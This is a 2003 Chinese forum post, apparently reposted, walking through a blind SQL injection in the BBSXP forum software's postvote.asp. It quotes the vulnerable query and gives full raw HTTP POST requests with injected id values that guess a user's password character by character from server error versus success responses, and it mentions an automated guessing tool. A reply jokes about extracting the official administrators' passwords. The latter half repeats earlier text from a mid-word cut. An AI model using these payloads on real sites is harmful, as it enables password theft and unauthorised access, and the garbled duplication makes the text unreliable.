请先登录 | 注册
MM0759.COM
BBSXP漏洞[倒着看四] - 文章首页返回版区
■标题:BBSXP漏洞[倒着看四]
■作者:林子野菇 [2003/8/8 21:28:45]
BBSXP漏洞[倒着看四]
这段时间上网遇到朋友,问起关于BBSXP漏洞的问题,我淡淡地说,生病了,没有看。他说,哦,最近到BBSXP看先生的漏洞文章都给删了,看来BBSXP对先生还是很深恶痛绝的,先生还是写点什么吧。我说,哦,那我就写点什么吧。
我在生病之余还看了一本叫《重构》的影印本书,虽然是讲的java的重构,但是确实对所有的语言都有启发的作用,对于BBSXP的代码形式,我不想多说,如果开发者有机会拜读一下这本书的话,想必可以学到些什么。代码写得不好看不是什么丢人的事情,但改善了后必定会让别人刮目相看。每次都会给BBSXP提些免费的建议,这次就废话这么多吧,身体不好,打字很费体力。


postvote.asp有一段代码是这样子的,非常扎眼


sql="select * from forum where id="&Request("id")&""
rs.Open sql,Conn,1,3


有兴趣的朋友可以参看以前的文章来利用。或者看下面给出方法和分析:


利用这个漏洞首先要有一个投票的项目,这个投票的项目可以是自己发的一个贴子,我们要记录下这个贴字的id号,把鼠标移到标题上看浏览器的状态栏,或者直接点进去看浏览器的地址栏都可以得到id,比如我在自己机器上测试的是id为2。
用BBSXP漏洞[倒着看一]中的方法我们可以很容易的抓到标准的提交数据,我抓到的数据是这样的:


POST /bbsxp/postvote.asp?id=2 HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/msword, application/vnd.ms-powerpoint, */*
Referer: http://localhost/bbsxp/showtopic.asp?id=2&forumid=1&page=0
Accept-Language: zh-cn
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)
Host: localhost
Content-Length: 20
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: eremite=0; now=2002%2D7%2D30+22%3A39%3A10; vote=1+and+1%3D1%7C1+or+1%3D1%7C1+and+1%3C%3E1%7C; onlinetime=2002%2D7%2D30+22%3A35%3A29; username=never; userpass=FuckUSA!!!; addmin=0; ASPSESSIONIDQGQGGVWO=DMFHIAEDKPJDFNNLIMBEAAIG


forumid=1&postvote=0


利用的话,只需要修改一点点东西,就是POST后面的路径和文件。因为注入是发生在id上的,所以我们提交恶意的id就可以构造我们的查询条件了,比如我们猜test的密码第一位,是1,当然,我们先猜一个2看看,这时候我们提交的id的值应该是


2 and 1=(select count(*) from user where username='test' and right(left(userpass,1),1)='1


将所有的空格全部用%20代替(为什么?不要问我),就成了下面的样子(NC到对方的web口):


POST /bbsxp/postvote.asp?id=2%20and%201=(select%20count(*)%20from%20user%20where%20username='test'%20and%20right(left(userpass,1),1)='2') HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/msword, application/vnd.ms-powerpoint, */*
Referer: http://localhost/bbsxp/showtopic.asp?id=2&forumid=1&page=0
Accept-Language: zh-cn
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)
Host: localhost
Content-Length: 20
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: eremite=0; now=2002%2D7%2D30+22%3A39%3A10; vote=1+and+1%3D1%7C1+or+1%3D1%7C1+and+1%3C%3E1%7C; onlinetime=2002%2D7%2D30+22%3A35%3A29; username=never; userpass=FuckUSA!!!; addmin=0; ASPSESSIONIDQGQGGVWO=DMFHIAEDKPJDFNNLIMBEAAIG


forumid=1&postvote=0


返回了一个HTTP/1.1 500 Internal Server Error。因为结果为空,就是说我们猜错了。如果我们猜对了的话,应该是这个:


POST /bbsxp/postvote.asp?id=2%20and%201=(select%20count(*)%20from%20user%20where%20username='test'%20and%20right(left(userpass,1),1)='1') HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/msword, application/vnd.ms-powerpoint, */*
Referer: http://localhost/bbsxp/showtopic.asp?id=2&forumid=1&page=0
Accept-Language: zh-cn
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)
Host: localhost
Content-Length: 20
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: eremite=0; now=2002%2D7%2D30+22%3A39%3A10; vote=1+and+1%3D1%7C1+or+1%3D1%7C1+and+1%3C%3E1%7C; onlinetime=2002%2D7%2D30+22%3A35%3A29; username=never; userpass=FuckUSA!!!; addmin=0; ASPSESSIONIDQGQGGVWO=DMFHIAEDKPJDFNNLIMBEAAIG


forumid=1&postvote=0


返回了一个HTTP/1.1 200 OK,不管其他是什么,这里肯定是猜对了。重复这个简单无聊的过程,便可一位一位猜出密码来,有时间你可以慢慢写程序,或者是慢慢猜,但是可以肯定的是,这种事情是毫无意义的。


先给朋友们看这个文章的时候,有位仁兄友情编写了一个“很没有意义的”程序,就是来猜这个的,非常的分特啊。好像只是能用而已,有条件的朋友可以测试一下!



ge/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/msword, application/vnd.ms-powerpoint, */*
Referer: http://localhost/bbsxp/showtopic.asp?id=2&forumid=1&page=0
Accept-Language: zh-cn
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)
Host: localhost
Content-Length: 20
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: eremite=0; now=2002%2D7%2D30+22%3A39%3A10; vote=1+and+1%3D1%7C1+or+1%3D1%7C1+and+1%3C%3E1%7C; onlinetime=2002%2D7%2D30+22%3A35%3A29; username=never; userpass=FuckUSA!!!; addmin=0; ASPSESSIONIDQGQGGVWO=DMFHIAEDKPJDFNNLIMBEAAIG


forumid=1&postvote=0


返回了一个HTTP/1.1 500 Internal Server Error。因为结果为空,就是说我们猜错了。如果我们猜对了的话,应该是这个:


POST /bbsxp/postvote.asp?id=2%20and%201=(select%20count(*)%20from%20user%20where%20username='test'%20and%20right(left(userpass,1),1)='1') HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/msword, application/vnd.ms-powerpoint, */*
Referer: http://localhost/bbsxp/showtopic.asp?id=2&forumid=1&page=0
Accept-Language: zh-cn
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)
Host: localhost
Content-Length: 20
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: eremite=0; now=2002%2D7%2D30+22%3A39%3A10; vote=1+and+1%3D1%7C1+or+1%3D1%7C1+and+1%3C%3E1%7C; onlinetime=2002%2D7%2D30+22%3A35%3A29; username=never; userpass=FuckUSA!!!; addmin=0; ASPSESSIONIDQGQGGVWO=DMFHIAEDKPJDFNNLIMBEAAIG


forumid=1&postvote=0


返回了一个HTTP/1.1 200 OK,不管其他是什么,这里肯定是猜对了。重复这个简单无聊的过程,便可一位一位猜出密码来,有时间你可以慢慢写程序,或者是慢慢猜,但是可以肯定的是,这种事情是毫无意义的。


先给朋友们看这个文章的时候,有位仁兄友情编写了一个“很没有意义的”程序,就是来猜这个的,非常的分特啊。好像只是能用而已,有条件的朋友可以测试一下! <

回复/版区/上篇/下篇/发贴/仅文字/HTML
【倒序/最近21条回复】
■作者:IPSC [2003/8/9 9:57:33]
谁去把官方管理员的密码都猜一份来?呵呵~~~~~~~~~~~

(查看完整版网页)



短讯|首页|登录|算法|电脑版 .
DK MiniBBS Plus v2.0
mm0759.com
93 毫秒 .